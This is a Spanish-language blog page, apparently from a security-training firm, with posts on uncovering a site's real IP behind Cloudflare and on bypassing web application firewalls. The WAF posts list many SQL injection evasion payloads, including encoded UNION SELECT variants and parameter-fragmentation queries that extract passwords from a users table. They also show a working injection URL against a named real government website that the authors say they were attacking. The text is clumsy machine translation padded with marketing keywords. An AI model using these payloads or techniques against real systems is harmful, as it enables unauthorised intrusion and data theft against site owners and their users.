This is default featured slide 1 title

International Institute Cyber Security Mexico provides training for all type of data security.

This is default featured slide 2 title

Webiprints is one of the world famoous company for data security provider in world wide at lowest price with 100% secure.

This is default featured slide 3 title

Webiprints offers Mobile application development services at affordable price and also Mobile Hacking Course. Just visit our website and fill up your query.

This is default featured slide 4 title

Grow your business with us! We offers Digital Marketing including services such as SEO, SMO and PPC.

This is default featured slide 5 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.This theme is Bloggerized by Lasantha Bandara - Premiumbloggertemplates.com.

Thursday, 7 July 2016

¿CÓMO EVITAR FÁCILMENTE CLOUDFLARE Y HACER PRUEBAS DE PENETRACIÓN?

Cloudflare ayuda en seguridad en sistemas informáticos. Cloudflare ejecuta automáticamente una comprobación de integridad en un navegador para todas las peticiones al sitio web mediante la evaluación de los encabezados HTTP de las bases de amenazas. Si se encuentra una base de amenazas, la solicitud se le negará, el usuario puede establecer la configuración de seguridad deseada para su sitio y luego a la red CloudFlare detiene las amenazas antes de que llegue sitio web mencionan expertos de servicios de pruebas de penetración.
Todo lo que podemos entender es que Cloudflare puede convertirse en un dolor, mientras hace la penetración de la prueba de un sitio web, por otro lado si Cloudflare establece con éxito el proxy sobre IP del servidor real del sitio web, se cerrará la superficie de ataque de la pruebas de penetración también.
Así que para pasar por alto Cloudflare podemos utilizar algunos trucos, que en realidad se producen debido a algunas configuraciones erróneas por parte del administrador de seguridad en sistemas informáticos.
Antes de empezar hay que saber cómo encontrar si un sitio web está utilizando CloudFlare. Para que podamos ver los servidores de nombres de un sitio web y ver si son de CloudFlare o no. Los expertos de servicios de pruebas de penetración les vamos a enseñar cómo hacerlo.
Por ejemplo vamos a utilizar nuestro objetivo, en primer lugar vamos a hacer ping y comprobar la dirección IP que está mostrando.

Puede la dirección IP muestra en el navegador y verás el error de página de CloudFlare.

De otro modo, puede consultar los nameservers utilizando DIG.

Tú puedes ver claramente los Nameservers de Cloudflare por allí. Así que ahora tenemos que obtener la dirección IP real para esquivar a CloudFlare.
El primer sitio web que podemos usar para obtener la dirección IP real es CloudFlare-watch, este sitio mantiene una base de datos de la dirección IP reales de sitios web que están utilizando CloudFlare. En la parte inferior de la página web aparecerá una opción para entrar en el dominio del que quieres obtener la dirección IP real. Introduzca el dominio y haga clic en búsqueda.

Aquí puedes ver el dirección IP real de la página web, pero en algunos casos la dirección IP real no está disponible, se puede más con nuestro segundo sitio web que es http://1337.cl/, este sitio web le permite utilizar 4 métodos para obtener la dirección IP real de un sitio web y hackear seguridad en sistemas informáticos:

Aquí se puede ver la dirección IP real de la página web, pero en algunos casos si no funciona, entonces podemos pasar a nuestro tercer sitio web que es Netcraft. Según expertos de servicios de pruebas de penetración este sitio mantiene registros de historia de alojamiento para otros sitios web. Así que si usted es afortunado usted puede obtener la dirección IP real de su sitio web de destino allí. Introduzca su sitio web de destino en el cuadro de texto y pulse Intro. En el historial de alojamiento se encuentra el más antiguo IP del objetivo que podría ser su dirección IP actual oculta.

Una vez que encontrar la dirección IP real de ve a tu c: \ windows \ system32 \ drivers \ etc \ editar el archivo “hosts” y haz una entrada DNS como se muestra a continuación.

Y guardar el archivo. Ahora, cualquier solicitud al sitio web de destino directamente será remitida al servidor real y Cloudflare será automáticamente anulado por cualquier herramienta o el navegador que utilice. De esta manera se puede felizmente hace una prueba de penetración y ejecutar exploraciones en contra de tu sitio web objetivo y seguridad en sistemas informático explican los expertos de servicios de pruebas de penetración.

MÉTODO 2

También se puede hackear Cloudflare y obtener la dirección IP real del servidor DNS.
En realidad vamos a comprobar todas las entradas DNS y luego los subdominios. Lo que pasa es que muchas veces se olvida la administración para transferir todos los subdominios correctamente al servidor CloudFlare y muchas veces algunas entradas MX u otras entradas pueden ser dejadas. Que hará que se revele la dirección IP mencionan expertos de servicios de pruebas de penetración.
Vamos a revisar los registros DNS para el sitio web objetivo y ver si podemos causar una brecha de seguridad en sistemas informático.

Aquí se puede observar que una entrada de MS sospechosa “dc-329b0f0f-mail.tv.com.pk”, ahora intenta hacer ping y se le volverá a obtener la dirección IP real de la página web. De esta manera puedes consultar todas las entradas DNS y ver si alguna de ellas todavía se está resolviendo directamente con la dirección IP real. Foca o Fierce también se pueden utilizar para enumerar subdominios y luego encontrar la dirección IP real usándolos.

MÉTODO 3

Otro método para pasar por alto a Cloudflare y romper la seguridad en sistemas informático, es atacando el servidor de correo electrónico.
Lo que queremos es simplemente un correo electrónico de la página web, ya que con el correo electrónico también vamos a obtener la dirección IP real de la página web, según expertos de servicios de pruebas de penetración. Envíe un correo a nombrefalso@sitioobjecitivo.com tu podrás obtener un error de la dirección IP real, revisa el correo de error haz clic en “Mostrar original” y luego busca “Google intentó entregar su mensaje, pero fue rechazado por el servidor para el destinatario dominio sitioobjecitivo.com por sitioobjecitivo.com. []. “en el texto. Esta dirección IP será la dirección IP real de la página web.
 

Este artículo es sólo para fines educativos.


Tuesday, 5 July 2016

¿CÓMO HACKEAR FÁCILMENTE FIREWALL DE APLICACIÓN WEB (WAF)? PARTE 2

En un artículo anterior hemos cubierto algunas técnicas de hackeo de firewalls de aplicación web. En este artículo vamos a cubrir el resto de las técnicas con ayuda de expertos de pruebas de penetración.

DOBLE CODIFICACIÓN PARA HACKEAR UN FIREWALL DE APLICACIONES WEB

Como hemos comentado antes, hay muchas aplicaciones que juegan un papel para pasar su solicitud desde tu navegador a la base de datos. Este truco se basa en explotar este comportamiento cuando nuestra solicitud se decodifica dos veces antes de que llegue a la base de datos. Como sabemos que el servidor web hace la descodificación básica de URL, ya que pasa los parámetros de solicitud a la aplicación web. Pero ¿qué si el desarrollador nuevamente hizo la decodificación? Bueno, sí hay muchas ocasiones en que el desarrollador decodifica la solicitud antes de usarla. De aquí surge una vulnerabilidad. A veces podemos utilizar este comportamiento para hackear un firewall acuerdo a expertos de seguridad perimetral.

HACKEAR LOS FILTROS QUE DISTINGUEN MAYÚSCULAS Y MINÚSCULAS

Como comentaron los investigadores de soluciones de seguridad de la informaciónanteriormente sobre el conjunto de reglas definidas por el firewall de aplicaciones web, si usted sabe algunos conceptos básicos de Regex entonces no hay necesidad de decir que la diferencia entre ellos:
/union.*select/
and
/union.*select/i
Bueno, si usted no sabe, entonces deja que te expliquemos. El primero de ellos distingue mayúsculas de minúsculas y el segundo no, mientras haces que Regex maneje este error que puede pasar a veces. Esto da origen a este tipo de ataques según curso de pruebas de penetración.

CONTAMINACIÓN DE PARÁMETROS/ HTTP PARAMETER POLLUTION HTTP

Puede ser que muchos de ustedes han oído hablar de él, pero estoy seguro de que pocos lo hubieran utilizado alguna vez. En primer lugar que es HPP, Definición en OWASP – El suministro de múltiples parámetros HTTP con el mismo nombre podrían resultar que una aplicación interprete los valores de manera imprevista. Consultores de soluciones de seguridad de la información comentan que mediante la explotación de estos efectos, un atacante puede ser capaz de pasar por alto la validación de entrada, provocar errores de aplicación o modificar los valores de variables internas. Como HTTP Parameter Pollution (HPP) afecta a un componente básico de todas las tecnologías web y existen ataques contra seguridad perimetral.
Los ataques HPP consisten en inyectar delimitadores de texto en una consulta codificada en otros parámetros existentes. Si soluciones de seguridad de la información no limpian adecuadamente el ingreso del usuario, un usuario malicioso puede comprometer la lógica de la aplicación para realizar ataques, ya sea del lado del cliente o del lado del servidor. Una de las consecuencias de los ataques de HPP es que el atacante potencialmente pueden ignorar los parámetros HTTP no modificables existentes para modificar el comportamiento de seguridad perimetral, los controles de validación de entrada de derivación, y el acceso y posiblemente explotar las variables que pueden estar fuera del alcance directo.
Los ataques HPP se puede definir como la posibilidad de anular o añadir parámetros HTTP GET / POST mediante la inyección de delimitadores texto en una solicitud. Acuerdo a experto depruebas de penetración, esto afecta a base de todas las tecnologías web existentes tanto, los ataques del lado del servidor y del lado del cliente.
Explotando las vulnerabilidades de HPP es posible:
§  Invalidar parámetros HTTP fijos existentes.
§  Modificar los comportamientos de las aplicaciones.
§  Acceso y, potencialmente explotar, variables incontrolables.
§  Omitir la validación de la entrada, puestos de control y reglas de la WAF.
Aquí es una tabla que muestra el comportamiento por defecto de estas aplicaciones con HPP.

hack WAF

HTTP PARÁMETRO FRAGMENTACIÓN/ HTTP PARAMETER FRAGMENTATION (HPF)

La idea de utilizar HTTP Parameter Fragmentation (HPF) cuando se llama a una aplicación web con el fin de hackear los filtros de seguridad no es una nueva. De acuerdo con curso de pruebas de penetración, este método le permite a uno para omitir con éxito filtros utilizados en la mayoría de los firewalls de aplicaciones web modernas. Así que, ¿cuál es la esencia de esta técnica? Consideremos ejemplos de la explotación de inyección SQL.
A menudo es necesario tener dos o más parámetros de usuario en un código SQL, por ejemplo:

<br />Query(“select * from table where a=”.$_REQUEST [‘a’].” and b>”.$_REQUEST [‘b’]);<br />Query(“select * from table where a=”.$_REQUEST [‘a’].” and b<“.$_REQUEST [‘b’].” limit “.$_REQUEST[‘c’]);<br />etc.<br />

En la fase de verificación de los valores de los parámetros recibidos del usuario en el nivel de aplicación web, la aplicación es capaz de operar con solo variables del servidor web y WAF es capaz de operar directamente con los datos de HTTP. Sin embargo, independientemente del método de acceso a los datos, se trata de utilizar ciertas expresiones regulares (regexps) para cada parámetro por separado.

<br />preg_match(“/(uni)(on.+sel)(ect)/is”, $_REQUEST [‘a’])br
</>preg_match(“/(uni)(on.+sel)(ect)/is”, $_REQUEST [‘b’])br
</>preg_match(“/(uni)(on.+sel)(ect)/is”, $_REQUEST [‘c’])br />…br
</>preg_match(“/(sel)(ect.+fr)(om)/is”, $_REQUEST [‘a’])br
</>preg_match(“/(sel)(ect.+fr)(om)/is”, $_REQUEST [‘b’])br
</>preg_match(“/(sel)(ect.+fr)(om)/is”, $_REQUEST [‘c’])br />…br />

Por lo tanto, si uno se divide la lógica del código SQL entre varios parámetros que entren en el código SQL y luego concatena estas piezas utilizando los comentarios, será posible hackear los filtros de soluciones de seguridad de la información:

/?a=1+union/*&b=*/select+1,2
/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users
<br />Query(“select * from table where a=1 union/* and b>*/select 1,2”);<br />Query(“select * from table where a=1 union/* and b<*/select 1,pass/* limit */from users”);<br />

Dado que los comentarios se ignoran, el código de hecho es:
select * from table where a=1 union select 1,2
select * from table where a=1 union select 1,pass from users

Uno puede notar que teniendo en cuenta la vía de ataque, HPF es muy similar a la HPP (HTTP Parameter pollution), pero a diferencia de este último, la aplicación HPP tiene por objeto la explotación de la vulnerabilidad en seguridad perimetral, no en el entorno de la aplicación. Según empresa de pruebas de penetración, por supuesto, ambos métodos de ataque pueden complementar entre sí.


Friday, 1 July 2016

¿CÓMO HACKEAR FÁCILMENTE FIREWALL DE APLICACIÓN WEB (WAF)?

Firewall de aplicaciones web se implementa típicamente en algún tipo de proxy justo en frente de las aplicaciones web, por lo que no se ve todo el tráfico en nuestras redes. Al monitorear el tráfico antes de que llegue a la aplicación web, firewall de aplicaciones web puede analizar las solicitudes antes de pasarlas. Esto es lo que les da una ventaja sobre el IPSS. Debido a que IPSS está diseñado para interrogar a todo el tráfico de la red, no pueden analizar la capa de aplicación tan a fondo como firewall de aplicaciones web según expertos de pruebas de penetración.
Aquí hay un ejemplo de MOD security WAF

URL normal
http://bpc.gov.bd/contactus.php?id=4
Detectado por MOD Security
http://bpc.gov.bd/contactus.php?id=4′ UNION SELECT 1,2,3– –
Sin detección:
http://bpc.gov.bd/contactus.php?id=.4’/*!50000UNION*//*!50000SELECT*/1,2,3,4,5,6,7– –


Ahora, antes de continuar nos gustaría compartir un hecho muy interesante sobre este sitio, este sitio es vulnerable desde hace mucho tiempo según diferentes expertos de seguridad perimetral. La última vez los hackers lo atacaron y se tomar el control del sitio. Esta vez, cuando comenzamos a atacar hemos encontrado que algo ha cambiado. El único cambio que hizo, es que ahora están utilizando dos soluciones de seguridad de la información. Es como si el administrador no quiere perder el tiempo en cambiar el código de la aplicación y eliminar la vulnerabilidad. Recuerde que firewall de aplicaciones web es una buena seguridad perimetral, pero no se puede simplemente dejar la aplicación vulnerable sin hacer pruebas de penetración y completamente depender de firewall de aplicaciones web para la seguridad.
 

DETECTAR EL FIREWALL DE APLICACIONES WEB

Según investigadores de soluciones de seguridad de la información, hay muchas herramientas y secuencias de comandos que pueden detectar la presencia de huellas de WAF sobre una aplicación, que incluya pero no se limite
§  NMAP
§  WAFw00f
§  Verificación de los encabezados de respuestas
§  Verificación de la respuesta
§  etc.

DETECTANDO FIREWALL DE LA APLICACIÓN WEB USANDO NMAP

nmap -p80 –script http-Web Application Firewall-detect <host>

FINGERPRINTING WAF USANDO NMAP


nmap -p80 –script http-WAF-fingerprint <host>

FINGERPRINTING WAF USANDO WAFW00F

WAFw00f.py <url> 
Una vez que conoces el firewall de aplicaciones web con el que estas tratando, puedes buscar formas de hackear seguridad perimetral.

TÉCNICAS UTILIZADAS PARA HACKEAR SEGURIDAD PERIMETRAL

Con ayuda de expertos de pruebas de penetración, vamos a aprender varias técnicas de hackear un firewall de aplicaciones web y una vez que hayamos terminado, vamos a acoplarlos y mezclarlos las técnicas entre sí para cortafuegos avanzados de aplicaciones web.

DIFERENTES TIPOS DE CODIFICACIÓN

Hay muchos tipos de codificación, algunos de ellos son respaldaos por el servidor de aplicaciones, algunos de ellos cuentan con el apoyo por la aplicación web y algunos otros son soportados por el servidor de base de datos. Cuando enviamos una solicitud esta pasa por muchas capas y diferentes tipos de aplicaciones antes de nuestra solicitud llegas a la base de datos, por lo que muchas veces somos capaces de utilizar diferentes tipos de codificaciones y doble codificación que no son compatibles con el servidor de base de datos, pero las otras aplicaciones en medio, pueden decodificar nuestra solicitud y pasarla al servidor de base de datos. Según expertos de pruebas de penetración, a veces tomar ventaja de este tipo de comportamiento nos ayuda a hackear un firewall de aplicaciones web.
Vamos a dar un ejemplo básico, hay un buen servidor de seguridad implementado en una aplicación. La aplicación ha obtenido una solicitud de parámetros que primero se codifican como Base64 y luego Rot13. Cuando se inyecta dicha solicitud nuestra solicitud será codificada y pasa firewall de aplicaciones web, la próxima cuando se llega a la aplicación se decodifica y luego se envía al servidor de base de datos. Aquí pasamos el firewall de aplicaciones web, ya que nuestra solicitud fue codificada y decodificada antes de que pasará a la base de datos.
De esta manera, hay muchos tipos diferentes de codificaciones que podemos utilizar para hackear un firewall de aplicaciones web por ejemplo, URL Encoding, Hexing, Binary, Unicode, etc. En primer lugar vamos a empezar con hackeo de las reglas de condición de pruebas que muchos firewalls de aplicaciones web están bloqueados estos días como:
Las verdaderos condiciones de bloqueos

1 or 1=1
1′ or ”=’
1″ or “”=”
1′ or true#
1″ or true#
1 or true#
etc.

Ahora vamos a mezclar un poco de sentido común y codificaciones para hackear este tipo de filtros:
or ‘1
|| ‘1
null’ || ‘a’=_binary’a
1′ || ‘a’=x’61
1′ && ‘0’=x’30
1′ %26%26 %270%27%3dx’30
2′ && 0.e1=_binary”0
1 or 1.e1=0b1010
‘ || 1 like 1
‘-‘
“-“
‘ || 2 not like 1
110 or x’30’=48
‘1’!=20
1 or 20!=’1′
2 and 2>0
3 || 0<1
12 || 0b1010<0b1011
0b11 || 0b1010x’30’
1 or 0b1
2121/**/||21
111′ or _binary’1
1 or 2121
1′ or 12 rlike ‘1

Según consultores de soluciones de seguridad de la información, usando las técnicas anteriores y mezclándolas hasta que puede generar miles de diferente payloads y técnicas. Aquí hemos utilizado la codificación Binary, Hex, así como algunas palabras clave para hackear. En realidad firewall de aplicación web detecta cualquier cosa maliciosa utilizando el conjunto de reglas definidas. Por lo que necesitamos generar algo diferente para confundirlos.
Si no entendieron anteriormente las técnicas aquí hay una explicación básica del uso de Binary, Hex, Like y Rlike en SQL
Binary
Select 1 from dual where 0b1010=10
Hex Type 1
Select 1 from dual where ‘0’=x’30’
Hex Type 2
Select 1 from dual where 0x30=’0′
Like statement
Select 1 from dual where 1 like 1 
Rlike Statement
Select 1 from dual where 12 rlike 1
|| (OR)
Select 1 from dual where 1||1
&& (And)
Select 1 from dual where 1&&1


Como sabemos SQL no soporta la codificación URL, pero el servidor y aplicaciones web sí soportan. Así también podemos utilizar la codificación de URL para hackear firewall de aplicaciones web menciona experto de soluciones de seguridad de la información. Lo primero es entender cómo funciona. Algunas veces cuando un firewall basado en la red esta implementado o firewall de aplicaciones esto podría suceder que el firewall de aplicaciones web no está decodificando nuestra solicitud mientras que está comprando con el conjunto de reglas. Cuando nuestra solicitud llega al servidor o la aplicación, entonces se descodifica, y luego se pasa al servidor de base de datos. De esta manera la codificación de URL también nos ayuda a hackear firewall de aplicaciones web muchas veces.
Los siguientes son algunos ejemplos de URL codificada para hackear WAF:
%55nion(%53elect)
union%20distinct%20select
union%20%64istinctRO%57%20select
union%2053elect
%23?%0auion%20?%23?%0aselect
%23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect
%55nion %53eLEct
u%6eion se%6cect
unio%6e %73elect
unio%6e%20%64istinc%74%20%73elect
uni%6fn distinct%52OW s%65lect
%75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%74

Usted no está obligado a utilizar la codificación URL sólo con unión select también se puedes codificar otras palabras clave u operadores.
Veamos algunos otros usos de codificaciones, aquí se asume un firewall de aplicaciones web se ha bloqueado o filtrada uso de ‘0x’ para filtrar uso de hex en tu inyección y comillas simples o dobles no están permitidos. Incluso a veces los firewalls de aplicaciones web usan para descodificar Hex de solicitudes y comprobar si hay contenido malicioso. Podemos tratar las siguientes formas de superar la situación.
Normal Hex (Blocked)
select 0x313131
Hexed Bypass Version
select x’313131′;
Binary Bypass
select 0b011110100110010101101110;
Bypass using functions
select unhex(x’333133313331′);
 

Y así podemos seguir adelante para hackear el firewall de aplicaciones web de muchas otras maneras. Ahora esto todo es la codificación básica y su papel en hackear el firewall de aplicaciones web. Según experto sde pruebas de penetración, algunas veces también puede utilizar la codificación UTF-8 URL para hackear firewall de aplicaciones web, lo cual también se puede aprender en el curso de seguridad perimetral.

En siguiente artículo vamos a cubrir más sobre seguridad de aplicaciones web y como hackear firewall de aplicaciones web con ayuda de expertos de soluciones de seguridad de la información.